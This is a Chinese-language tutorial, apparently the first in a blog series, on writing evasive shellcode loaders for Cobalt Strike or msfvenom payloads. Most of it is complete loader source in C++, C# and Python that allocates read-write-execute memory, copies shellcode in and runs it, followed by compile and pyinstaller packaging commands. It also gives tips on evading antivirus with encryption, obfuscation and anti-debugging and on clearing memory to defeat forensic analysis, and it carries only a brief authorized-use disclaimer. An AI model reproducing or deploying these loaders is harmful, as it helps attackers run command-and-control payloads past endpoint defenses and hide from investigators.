(一)从零开始学习CS Shellcode Loader免杀:基础Loader编写

发布时间:2026/6/10 12:33:15

(一)从零开始学习CS Shellcode Loader免杀:基础Loader编写 Shellcode Loader 编写指南掌握 Shellcode Loader 的核心原理与多语言实现什么是 Shellcode LoaderShellcode Loader 本质上是一个加载器核心任务只有三步┌─────────────────────────────────────────────────────────┐ │ 1️⃣ 申请一块可执行的内存 │ │ 2️⃣ 把代码Shellcode放进去 │ │ 3️⃣ 执行它 │ └─────────────────────────────────────────────────────────┘可以用 C/C、Python、Go、C# 等任意语言来实现 Loader。生成 Shellcode使用 Cobalt Strike、msfvenom 等工具生成原始 Shellcode.bin文件这一步不是本节重点假设你已经拥有了shellcode.bin。Loader 运转流程┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ 读取二进制 │───▶│ 申请可执行 │───▶│ 复制到内存 │───▶│ 执行代码 │ │ shellcode │ │ 内存块 │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ └──────────────┘ 文件读取 VirtualAlloc memcpy 函数指针调用编写 LoaderC 实现最经典的方式直接调用 Windows API#includewindows.h#includestring#includeiostream#includefstream#includesstream#includevector// std::vectorchar 适合存放二进制数据std::vectorcharLoad_File(conststd::stringpath){// 使用 std::ios::binary 以二进制模式打开文件// 防止系统自动转换换行符如 \r\n 转 \n导致 shellcode 损坏// std::ios::ate 打开时把光标放在文件末尾用来获取文件大小std::ifstreaminfile(path,std::ios::binary|std::ios::ate);if(!infile){std::cerr[!] Cannot open file: pathstd::endl;return{};}// 获取文件大小infile.tellg 获取文件末尾光标位置std::streamsize sizeinfile.tellg();// 光标归零否则无法从开头读文件infile.seekg(0,std::ios::beg);// 创建一个文件大小的内存空间存放 shellcodestd::vectorcharbuffer(size);if(!infile.read(buffer.data(),size)){std::cerr[!] Failed to read shellcodestd::endl;return{};}std::cout[] Loaded shellcode, length: size bytesstd::endl;returnbuffer;}intmain(){conststd::string shellcode_pathC:\\Users\\DEV\\Desktop\\CS_Shellcode\\shellcode.bin;// 1. 读取 shellcode 文件std::vectorcharshellcodeLoad_File(shellcode_path);if(shellcode.empty()){std::cerr[!] Shellcode is empty, exit.std::endl;return1;}// 2. 申请一块可执行的内存// MEM_COMMIT | MEM_RESERVE 预定并提交内存// PAGE_EXECUTE_READWRITE 可读可写可执行void*execVirtualAlloc(nullptr,// LPVOID lpAddress (nullptr 系统决定地址)shellcode.size(),// SIZE_T dwSizeMEM_COMMIT|MEM_RESERVE,// DWORD flAllocationTypePAGE_EXECUTE_READWRITE// DWORD flProtect);if(execnullptr){std::cerr[!] VirtualAlloc failed! Error: GetLastError()std::endl;return1;}std::cout[] Memory allocated at:0xstd::hexexecstd::endl;// 3. 将 shellcode 复制到这块内存中memcpy(exec,shellcode.data(),shellcode.size());std::cout[*] Executing shellcode...std::endl;// 4. 将内存地址转为函数指针并执行// C风格函数指针(return_type(*)(args)) address((void(*)())exec)();return0;}编译提示# 32位x86_64-w64-mingw32-g-oloader.exe loader.cpp-s# 64位x86_64-w64-mingw32-g-oloader.exe loader.cpp-s-m64C# 实现利用 .NET 的Marshal和VirtualAlloc通过 P/InvokeusingSystem;usingSystem.IO;usingSystem.Runtime.InteropServices;namespaceShellCode_loader{classProgram{// 从Kernel32.dll导入windows API[DllImport(kernel32.dll,SetLastErrortrue,ExactSpellingtrue)]staticexternIntPtrVirtualAlloc(IntPtrlpAddress,uintdwSize,uintflAllocationType,uintdwFreeType);[DllImport(kernel32.dll,SetLastErrortrue)]staticexternboolVirtualFree(IntPtrlpAddress,uintdwSize,uintdwFreeType);// 添加委托定义[UnmanagedFunctionPointer(CallingConvention.StdCall)]delegatevoidDelegateNoParam();// Memory ConstantsconstuintMEM_COMMIT0x1000;constuintMEM_RESERVE0x2000;constuintPAGE_EXECUTE_READWRITE0x40;constuintMEM_RELEASE0x8000;// 读取shellcode 文件staticbyte[]LoaderShellcode(stringpath){if(!File.Exists(path)){Console.WriteLine($[!] File not found :{path});returnArray.Emptybyte();}byte[]shellcodeFile.ReadAllBytes(path);Console.WriteLine($[] Loaded shellcode :{shellcode.Length}bytes);returnshellcode;}staticvoidMain(string[]args){stringshellcodePathC:\Users\DEV\Desktop\CS_Shellcode\shellcode.bin;// 读取shellcodebyte[]shellcodeLoaderShellcode(shellcodePath);if(shellcode.Length0){Console.WriteLine([!] Shellcode is empty, exit.);return;}IntPtrexecVirtualAlloc(IntPtr.Zero,(uint)shellcode.Length,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(execIntPtr.Zero){Console.WriteLine($[!] VirtualAlloc failed! Error :{Marshal.GetLastWin32Error});return;}Console.WriteLine($[] Memory alloacted at : 0x{exec.ToInt64():X});try{// 将shellcode复制到内存中Marshal.Copy(shellcode,0,exec,shellcode.Length);Console.WriteLine([*] Executing shellcode...);// zhixingshellcode// 将IntPtr转换为委托然后调用varexecFunc(DelegateNoParam)Marshal.GetDelegateForFunctionPointer(exec,typeof(DelegateNoParam));execFunc();}catch(Exceptionex){Console.WriteLine($[!] Execution error :{ex.Message});}//finally//{// // 清理内存// VirtualFree(exec, 0, MEM_RELEASE);//}}}}编译提示# 32位csc.exe/platform:x86/out:loader.exe loader.cs# 64位csc.exe/platform:x64/out:loader.exe loader.cs⚠️注意C# 编译后的平台位数需要与 shellcode 的架构匹配否则无法正常执行。Python 实现使用ctypes调用 Windows API# 通过ctypes调用Windows APIimportctypesimportosfromctypesimportwintypes# # 常量定义# MEM_COMMIT0x1000MEM_RESERVE0x2000PAGE_EXECUTE_READWRITE0x40MEM_RELEASE0x8000# # 定义函数原型 (从 kernel32.dll 引入)# kernel32ctypes.WinDLL(kernel32.dll)VirtualAllockernel32.VirtualAlloc VirtualAlloc.argtypes[wintypes.LPVOID,ctypes.c_size_t,ctypes.c_ulong,ctypes.c_ulong]VirtualAlloc.restypewintypes.LPVOID VirtualFreekernel32.VirtualFree VirtualFree.argtypes[wintypes.LPVOID,ctypes.c_size_t,ctypes.c_ulong]VirtualFree.restypewintypes.BOOL RtlMoveMemorykernel32.RtlMoveMemory RtlMoveMemory.argtypes[wintypes.LPVOID,wintypes.LPCVOID,ctypes.c_size_t]RtlMoveMemory.restypeNonedefload_shellcode(path:str)-bytes:# 以二进制方式读取shellcodeifnotos.path.exists(path):raiseFileNotFoundError(f[!] File not found:{path})withopen(path,rb)asf:dataf.read()print(f[] Loaded Shellcode{len(data)}bytes)returndatadefmain():shellcode_pathC:\\Users\\Dev\\Desktop\\Shellcode_Loader\\1.bintry:shellcodeload_shellcode(shellcode_path)exceptFileNotFoundErrorase:print(e)returntry:execVirtualAlloc(None,# 自动分配地址len(shellcode),# 分配内存大小MEM_COMMIT|MEM_RESERVE,#预定内存PAGE_EXECUTE_READWRITE# 可读可写可执行)except:print(f[!] VirtualAlloc failed! Error:{ctypes.get_last_error()})returnprint(f[] Memory allocated at: 0x{ctypes.cast(exec,wintypes.LPVOID).value:X})try:# 将shellcode复制到内存中RtlMoveMemory(exec,shellcode,len(shellcode))print(Executing shellcode...)# 执行shellcodectypes.cast(exec,ctypes.CFUNCTYPE(None))()except:print(RtlMoveMemory Fail)# finally:# # 清理内存# VirtualFree(exec, 0, MEM_RELEASE)# print([*] Memory released.)if__name____main__:main()运行提示# 需要管理员权限部分系统python loader.py# 或使用 pyinstaller打包为 exepyinstaller--onefile--console loader.py三种实现对比特性CC#Python执行速度⚡ 最快⚡ 快 较慢体积小中等需要 Python 环境隐蔽性高中低跨平台难度需改写需改写较易内存操作直接调用 API需 P/Invokectypes适用场景实战渗透.NET 域内横向快速验证注意事项⚠️安全研究用途Shellcode Loader属于安全研究技术请仅在授权的渗透测试、CTF 竞赛或安全研究环境中使用。平台匹配Shellcode 必须与 Loader 的位数32/64 bit匹配杀软检测内存执行操作容易被杀软检测可结合加密、混淆、反调试等技术管理员权限部分系统需要管理员权限才能分配可执行内存清理痕迹执行完毕后记得释放内存避免被取证分析扩展阅读加密加载器XOR、AES加密 Shellcode反调试技术Process Injection进程注入Amacom 混淆框架

相关新闻